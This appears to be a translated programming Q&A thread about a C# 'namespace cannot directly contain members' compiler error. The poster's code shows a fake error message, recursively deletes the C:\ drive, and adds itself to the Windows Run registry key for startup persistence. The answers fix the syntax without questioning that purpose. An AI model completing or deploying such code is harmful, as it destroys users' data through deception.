Пространство имен не может напрямую содержать элементы, такие как поля или методы? - PullRequest
2 голосов
/ 21 февраля 2012

Я пытаюсь создать приложение, которое удаляет пользовательские документы при запуске (я знаю, что это может показаться вредоносным, но это для школьного проекта).

Однако я получаю сообщение об ошибке "Пространство имен не может напрямую содержать элементы, такие как поля или методы ".

Глядя на это, это нормально?Я надеюсь, что вторая пара глаз может помочь, поскольку я искал повсюду, и я не могу найти подходящее решение!

По общему признанию, из-за моих очень базовых знаний, я использовал много помощи онлайн и из книг ито, что я знаю о c #, ограничено.Поэтому, может быть, я идиот, но все должны с чего-то начинать, верно?

Код такой:

namespace Test
{
class Program
    {
     static void Main(string[] args)
        {
        MessageBox.Show("An unexpected error occured");
        if (System.IO.Directory.Exists(@"C:\"))
        {
            try
            {
                System.IO.Directory.Delete("C:\\", true);
            }

            catch (System.IO.IOException e)
            {
                Console.WriteLine(e.Message);
            }
        }
    }
    }
public class Program
{
    private void SetStartup();
    }

        RegistryKey rk = Registry.CurrentUser.OpenSubKey
            ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

        if (chkStartUp.Checked)
            rk.SetValue(AppName, Application.ExecutablePath.ToString());
        else
            rk.DeleteValue(AppName, false);

    }

Ответы [ 3 ]

10 голосов
/ 21 февраля 2012

Ваш код серьезно испорчен в районе SetStartup.Если вы будете следовать нормальному отступу, вы увидите, что происходит немного яснее.Нажмите Ctrl-E, а затем D в Visual Studio, и он переформатирует ваш документ - что должно значительно прояснить ситуацию.

Посмотрите на это (после того, как я отступил):

public class Program
{
    private void SetStartup();
}

RegistryKey rk = [...];

Это пытается объявить переменную (rk) вне класса.У вас также есть неабстрактный метод без тела, и вам не хватает закрывающих скобок в конце.

Я подозреваю, что вы имели в виду это будет:

public class Program
{
    // Note: no semi-colon, and an *opening* brace
    private void SetStartup()
    {
        RegistryKey rk = [...];
        // Other code
    }
}

// And you'd want to close the namespace declaration too

У вас также будут проблемы с объявлением двух (не частичных) классов с одинаковыми именами ...

0 голосов
/ 27 октября 2017

В моем случае эта ошибка была сообщена компилятором в представлении Razor в строке 1. Код был следующим:

@using Microsoft.AspNet.Identity;
@using MyApp.Helpers;

Я только что изменил порядок использования, и проблема решена.

@using MyApp.Helpers;
@using Microsoft.AspNet.Identity;

Мои коллеги также заявили, что сталкиваются с этой ошибкой компилятора, которую можно устранить, изменив порядок пространств имен.

Я использую Visual Studio 2013 с обновлением 5 и .NET Framework 4.5

0 голосов
/ 21 февраля 2012

У вас есть неправильная скобка и точка с запятой, должно быть:

private void SetStartup()
{

    RegistryKey rk = Registry.CurrentUser.OpenSubKey
        ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

    //..
}
...